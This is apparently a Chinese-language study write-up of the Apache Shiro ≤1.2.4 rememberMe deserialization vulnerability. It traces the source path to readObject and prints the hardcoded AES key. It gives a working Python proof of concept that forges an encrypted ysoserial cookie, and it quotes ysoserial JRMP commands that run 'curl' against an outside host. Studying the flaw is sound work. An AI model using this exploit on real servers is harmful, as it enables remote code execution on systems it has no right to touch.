shiro ≦ 1.2.4 反序列化学习

shiro介绍

shiro是一个安全框架,用于处理身份验证,授权,企业会话管理和加密
##环境

1
2
3
4
5
git clone https://github.com/apache/shiro.git
cd shiro
git checkout shiro-root-1.2.4
cd ./samples/web
mvn package

有几个坑 默认是1.6的jdk
jstl-1.2.jar要自己下载

可以使用下面的环境
https://github.com/Lou00/cve/tree/master/shiro%3C%3D1.2.4%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96
访问http://127.0.0.1:8081/shiro

漏洞分析

漏洞入口org.apache.shiro.mgt
shiro默认会把subject存在当前线程中,如果没有,则会去创建一个

1
2
3
4
5
6
7
8
public Subject createSubject(SubjectContext subjectContext) {
...

//Similarly, the SubjectFactory should not require any concept of RememberMe - translate that here first
//if possible before handing off to the SubjectFactory:
context = resolvePrincipals(context);
...
}

跟进resolvePrincipals

1
2
3
4
5
6
7
8
9
10
11
protected SubjectContext resolvePrincipals(SubjectContext context) {

PrincipalCollection principals = context.resolvePrincipals(); // -->获取当前用户

if (CollectionUtils.isEmpty(principals)) {
// 这里只要不登录就会进入
log.trace("No identity (PrincipalCollection) found in the context. Looking for a remembered identity.");

principals = getRememberedIdentity(context);
...
}

跟进getRememberedIdentity

1
2
3
4
5
6
7
8
protected PrincipalCollection getRememberedIdentity(SubjectContext subjectContext) {
RememberMeManager rmm = getRememberMeManager();
if (rmm != null) {
try {
return rmm.getRememberedPrincipals(subjectContext);
}
...
}

继续跟getRememberedPrincipals

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public PrincipalCollection getRememberedPrincipals(SubjectContext subjectContext) {
PrincipalCollection principals = null;

try {
byte[] bytes = this.getRememberedSerializedIdentity(subjectContext);
if (bytes != null && bytes.length > 0) {
principals = this.convertBytesToPrincipals(bytes, subjectContext);
}
} catch (RuntimeException var4) {
principals = this.onRememberedPrincipalFailure(var4, subjectContext);
}

return principals;
}

先跟进getRememberedSerializedIdentity

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
protected byte[] getRememberedSerializedIdentity(SubjectContext subjectContext) {
if (!WebUtils.isHttp(subjectContext)) {
...
} else {
WebSubjectContext wsc = (WebSubjectContext)subjectContext;
if (this.isIdentityRemoved(wsc)) {
return null;
} else {
HttpServletRequest request = WebUtils.getHttpRequest(wsc);
HttpServletResponse response = WebUtils.getHttpResponse(wsc);
String base64 = this.getCookie().readValue(request, response); // <--获取rememberMe参数
if ("deleteMe".equals(base64)) {
return null;
} else if (base64 != null) {
base64 = this.ensurePadding(base64);
if (log.isTraceEnabled()) {
log.trace("Acquired Base64 encoded identity [" + base64 + "]");
}

byte[] decoded = Base64.decode(base64); // <--base64解码
if (log.isTraceEnabled()) {
log.trace("Base64 decoded byte array length: " + (decoded != null ? decoded.length : 0) + " bytes.");
}

return decoded;
} else {
return null;
}
}
}
}

继续跟进convertBytesToPrincipals

1
2
3
4
5
6
7
protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) {
if (this.getCipherService() != null) {
bytes = this.decrypt(bytes);
}

return this.deserialize(bytes); // <--反序列化!!!
}

可以看到反序列化利用点了,但是要先进行解码跟进decrypt

1
2
3
4
5
6
7
8
9
10
    protected byte[] decrypt(byte[] encrypted) {
byte[] serialized = encrypted;
CipherService cipherService = this.getCipherService();
if (cipherService != null) {
ByteSource byteSource = cipherService.decrypt(encrypted, this.getDecryptionCipherKey());
serialized = byteSource.getBytes();
}

return serialized;
}

发现key是硬编码的,加密是AES加密

1
private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");

最后跟进deserialize

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public T deserialize(byte[] serialized) throws SerializationException {
if (serialized == null) {
String msg = "argument cannot be null.";
throw new IllegalArgumentException(msg);
} else {
ByteArrayInputStream bais = new ByteArrayInputStream(serialized);
BufferedInputStream bis = new BufferedInputStream(bais);

try {
ObjectInputStream ois = new ClassResolvingObjectInputStream(bis);
T deserialized = ois.readObject(); // <--反序列化点
ois.close();
return deserialized;
} catch (Exception var6) {
String msg = "Unable to deserialze argument byte array.";
throw new SerializationException(msg, var6);
}
}
}

整个流程很清楚了
获取rememberMe字段->base64解码->AES解密->反序列化

漏洞复现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# pip install pycrypto
import sys
import base64
import uuid
import requests
from random import Random
import subprocess
from Crypto.Cipher import AES

def encode_rememberme():
popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'URLDNS', 'http://xxxx.ceye.io'], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext

if __name__ == '__main__':
payload = encode_rememberme()
cookie = {"rememberMe":payload.decode()}
requests.get("http://127.0.0.1:8081/shiro/",cookies=cookie)

然后去看解析

发现反序列化成功

exp

orange的exp具体可以看参考

1
2
3
4
5
$ java -cp ysoserial-master-SNAPSHOT.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections5 'curl orange.tw'
# listen 一個 RMI server 走 JRMP 協議在 12345 port 上

$ java -jar ysoserial-master-SNAPSHOT.jar JRMPClient '1.2.3.4:12345' | python exp.py
# 使用 JRMPClient 去連接剛剛 listen 的 server

参考

https://lightless.me/archives/java-unserialization-apache-shiro.html
https://blog.luckycat.moe/post/%E7%BB%8F%E5%85%B8%E8%AF%B5%E8%AF%BB-shiro-1.2.4-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%AD%A6%E4%B9%A0/
https://blog.zsxsoft.com/post/35
http://blog.orange.tw/2018/03/pwn-ctf-platform-with-java-jrmp-gadget.html
https://paper.seebug.org/shiro-rememberme-1-2-4/